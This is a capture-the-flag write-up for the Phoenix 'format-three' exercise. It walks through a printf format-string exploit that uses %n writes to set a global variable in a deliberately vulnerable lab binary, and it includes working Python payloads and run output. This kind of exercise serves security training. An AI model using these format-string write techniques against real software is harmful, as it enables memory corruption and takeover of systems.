04 February 2019

Format 3

Write-up for: Format Three

This is the same bug as the previous challenge but now we want to write a specific value to the location of the global variable changeme.

The way to write data using the printf family of functions is using the format specifier %n as demonstrated in the previous challenge. Only this time, we want to write a specific value. For this we only need to change our payload like this (note that format-three takes input from stdin):

./format-three < <(python -c 'print "%10x\x08\x04\x98\x44"[::-1] + "%p %p %p %p %p %p %p %p %p %p %p %p" + "%" + str(int(0x64457845 - 0x59)) + "x"  +  "%n"')

Basically, we make sure to pop 12 values from the stack (as before) AND we make sure to print 0x64457845 characters before using the %n format specifier. We do this by using a prefix to the %x specifier, adding a padding to this value.

Running this exploit takes forever since we need to print 0x64457845 characters. Which is a lot. If this were a network-based exploit this would not be feasible at all. We need to find a better approach.

Improving the exploit

This is not really efficient since we have to write a LOT of bytes. Alternatively, we could try to write 4 single bytes. For this we need to have 4 addresses on the stack that we can use together with the %n format specifier.

buf = "\x08\x04\x98\x44"[::-1]  
buf += "AAAA" 
buf += "\x08\x04\x98\x45"[::-1]
buf += "AAAA"
buf += "\x08\x04\x98\x46"[::-1]
buf += "AAAA"
buf += "\x08\x04\x98\x47"[::-1] 
buf += "%c" + "%c"*10 + "%n" 
buf += "%c" + "%n" 
buf += "%c" + "%n" 
buf += "%c" + "%n" 
print buf

The idea was to write one byte at a time to reduce the number of characters necessary. While this is generally possible, it will fail here since every write is going to influence subsequent writes. I.e. if for the first byte we need to write 0x65 this means the next byte will be a minimum of 0x66. Thus, this technique is not applicable here.

However, what we can try is writing 2 bytes at once. We have a similar problem than before because 0x6445 is smaller than 0x7845. However, we can overcome this due to the fact that we always write 4 bytes at once. So even though the second write will be larger than the first write, we can just increase the number so it overflows into the next byte.

            Offset +5  +4  +3  +2  +1  +0 XX  XX  64  45  78  45

This means we want to write 0x00007845 to the lower two bytes and 0x00016456 to the higher two bytes. 0x16456 is clearly larger than 0x07845, so we can keep increasing our character count until the second %n.

We now only need to figure out the correct offsets (i.e. number of characters to print before each %n). The first write is simple. It is 0x7845 - number of bytes in our buffer so far - 10. The 10 is the number of arguments we provide before hitting the address stored at the beginning of our buffer.

And the second write (found with a little trial and error): 0x16456 - 0x7845 - 17

Let’s see this in action:

import struct

ADDR = 0x08049844

buf = struct.pack("I", ADDR)
buf += "AAAA" # Add padding between addresses since we can't access arguments directly. This ensures that between the first and second write we can add more padding to control the value we write
buf += struct.pack("I", ADDR + 2)
buf += "%" + str(0x7845 - len(buf) - 10) + "x" + "%c" * 10 + "%n" # Write to lower 2 bytes, address is at the 12th argument position. We don't have the '$' sematic on this machine so we need to provide explicit format specifiers until %n is the 12th one.
buf += "%" + str(0x16456 - 0x7845 - 17) +  "x" + "%n" # Write to upper 2 bytes

print buf

First, we put our both target addresses (found via objdump) on the stack. We separate the two addresses with AAAA to allow us to put one format specifier between the two %n write modifiers. This means, the first address will be the 12th “argument” to printf and the second address will be the 14th. The 13th can be used to alter the second write operation.

Next, we write to the lower 2 bytes (0x7845). This means we need to fill the buffer so that when we hit the %n there were exactly 0x7845 bytes written so far. Then we add 10 more 1-byte arguments before the %n so that the %n pops the correct value off the stack.

Lastly we write 0x(1)6456 to the upper bytes by again padding the print buffer with a single %x specifier. The last %n will pop the 14th value off the stack (the target address + 2) and write there.

Let’s run this exploit:

user@phoenix-amd64:/opt/phoenix/i486$ ./format-three < <(python ~/format-three.py) | tail -n 1
Well done, the 'changeme' variable has been changed correctly!

Done! This is a lot better than our first attempt :)

Afterword

Thinking back to the attempt writing one byte at a time: this would probably work as well using the overflow technique. I’ll leave this as an exercise to the reader.

Additional resources

Concept of two-byte write explained by LiveOverflow: http://liveoverflow.com/binary_hacking/protostar/format4.html